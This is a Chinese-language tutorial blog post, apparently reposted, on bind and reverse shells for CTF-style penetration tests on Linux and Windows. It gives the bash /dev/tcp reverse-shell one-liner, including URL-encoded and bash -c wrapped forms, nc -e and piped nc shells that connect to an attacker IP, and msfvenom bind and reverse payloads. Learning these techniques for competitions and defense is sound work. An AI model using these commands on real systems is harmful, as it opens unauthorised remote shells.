当前位置:   article > 正文

正向shell和反弹shell

正向shell

渗透过程中第一步也是最重要的一步就是拿到shell了,在没有常见简单的漏洞(如永恒之蓝或笑脸漏洞 )时,必须从别的地方入手。

若赛题难一点的话通常出漏洞的地方都不会让你那么简单的拿到一个shell,最多只能拿到一个命令执行环境(如web的命令注入或[mssql,低权限下的xp_cmdshell])。没有交互式的shell对后期的提权有着挺大麻烦

本文主要探讨的是实战渗透中正向和反向shell的用法及技巧,包括linux和windows(不包含免杀,毕竟比赛也没有),以及有无防火墙的情况

这两种shell的意思和基础百度都可以找到,所以本文不再赘述,只对使用技巧和场合等进行说明
在这里插入图片描述

正向shell

理论

正向shell是指攻击机主动连接靶机,并取得shell。通俗点说就是靶机自己绑定某个端口,等攻击机连接后将收到的数据给bash或cmd(后文简称shell),执行结果再丢给攻击机。这套流程中有两个关键点

  1. 防火墙开放时,正向shell是否能生效
  2. 如何在靶机上绑定端口并重定向给shell

先说第一点,当防火墙开启时,除非有未过滤且未被占用的端口,简单来说就是nmap扫出来是close的端口,不然还真没办法,除非权限高到能关闭防火墙;或者题目环境极其特殊,比如防火墙是存在某种能被绕过的规则的(比如放行某个ip,或某个源端口)。但据我所知没有,所以先不考虑特殊情况。

如果看到开放了防火墙又没有可利用的close端口的,直接就给正向shell下死刑即可

第二点,如何绑一个正向shell在靶机上,通常有以下几种方法

  1. 用C、PYTHON等语音写个socket小程序,但这个要求靶机上有相应的解释环境,而且还要占用不少比赛时间,通常很少考虑
  2. linux有nc且该版本支持-e参数时,可以nc -l 端口 -e /bin/bash
  3. msfvenom可生成相应的正向shell木马,能传木马的情况下可考虑

实操

先来看nc,这里以centos7(内核号3.10.0-1127)为例,先进行基本扫描
在这里插入图片描述
仅开放80端口,为方便演示实际上80端口是个webshell,我们直接利用
在这里插入图片描述
已经可以执行命令,这时尝试用nc来绑定正向shell
在这里插入图片描述
运行之后发现网页卡顿了,在转圈圈。此时回去再次nmap扫描看看结果
在这里插入图片描述
可以看到开放了4444端口,这个就是我们绑定的正向shell了
注意这里不能用-sT(TCP完整扫描)参数,用了的话连了又断这个shell就没了

连接这个shell的方法也很简单,直接nc过去连即可
在这里插入图片描述
至此取shell了,可以开始提权了。

windows没有nc,因此无法使用这种方法。不过有方法上传文件时,可以上传个nc.exe上去这样windows也可以用这种方法了
nc.exe在kali里面会有
在这里插入图片描述
接下来是msfvenom生成木马的方法
在这里插入图片描述
这个是linux的,x86是因为兼容,若实战不行再考虑改成x64
然后想办法把这个马上传上去,一般可用nc/curl/wget等各类方法,根据个人喜欢即可
通用有777的文件夹/tmp /opt,建议/opt
记得先授权下
在这里插入图片描述
然后运行即可
在这里插入图片描述
nc直接连!是不行的,会直接断掉
在这里插入图片描述
这也是一个缺点,msf生成的payload也得用msf来打,具体就是用exploit/multi/handler模块,选对应的payload和参数就行了
在这里插入图片描述
windows也是同样的操作,就是模块换成了windows/shell/bind_tcp,唯一的难点是windows咋传文件?这个后续的文章会讲到

反向shell

理论

反向shell就是靶机带着shell来连攻击机,好处显而易见就是不用担心防火墙的问题了,当然也不是没有缺点。缺点就是攻击机的IP必须能支持靶机的主动寻址。举个例子如攻击机是内网ip或经过了NAT,靶机是公网IP,即使取得了命令执行权限靶机也无法将shell弹过来,这是因网络环境的问题。
好在比赛环境没有这么的复杂,通常做到以下两点就行了

  1. 攻击机网卡设为桥接
  2. 攻击机别开防火墙

然后就可以开开心心的开反弹shell了,反弹shell常用的方法和上文正向shell中提到的一样,就是linux多了个bash反弹略有不同。

实操

先来看bash反弹,读者应该都不陌生,这里讲下关键点

bash -i>& /dev/tcp/攻击机ip/攻击机监听port 0>&1
  • 1

这句话有时候起不了作用,第一个就是webshell时没做url编码,正确的格式应该如下所示

bash%20-i>%26%20/dev/tcp/攻击机ip/攻击机port%200>%261
  • 1

%20浏览器应该会自动补上,注意下%26即可。

第二种情况是目标系统的shell默认不是bash(也不知道这么说对不对),所以在这句前需要加上bash -c 来包裹,如下

bash -c 'bash -i>& /dev/tcp/攻击机ip/攻击机port 0>&1'
  • 1

最常见的例子就是kali的zsh,可以尝试一下
在这里插入图片描述
明显第二句没有报错

接下来是nc,nc的反弹shell必须依靠-e才可以进行
nc -e /bin/bash 攻击机ip 攻击机port
在这里插入图片描述
在这里插入图片描述
实际上有的时候没有-e 但防火墙关闭时,可以结合正向shell构建一个反弹shell,不过一般是ubuntu和debian系统才行

nc -l 4444|bash|nc 192.168.106.133 5555
  • 1

这句里的管道符相当于-e,这里我直接用的kali演示(kali内核基于debian的)
在这里插入图片描述
需要提前监听好自己的5555端口,因为这命令一执行他就来连你了。
在这里插入图片描述
这种方法有点奇妙就是一个终端输入命令另一个终端弹结果。而且严格意义来说算是正向shell,可以理解为正向shell的nc没-e时的快速利用方式

然后是msfvenom生成的木马,这里跟正向shell的步骤基本一样的所以也不赘述了,模块变成了linux/shell/reverse_tcp和windows/shell/reverse_tcp

总结

综上所述,正向和反弹shell可以算是各有优劣…可能没看出来优劣在哪,这里列一下我的评价

  • 正向shell:操作方便、队伍传shell方便、重用性强、对网络要求低、较怕防火墙
  • 反弹shell:对防火墙要求低、对网络要求高

所以具体用哪种shell,得联系实战场景,通常选用顺手的和方便的即可啦

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/AllinToyou/article/detail/695884
推荐阅读
相关标签
  

闽ICP备14008679号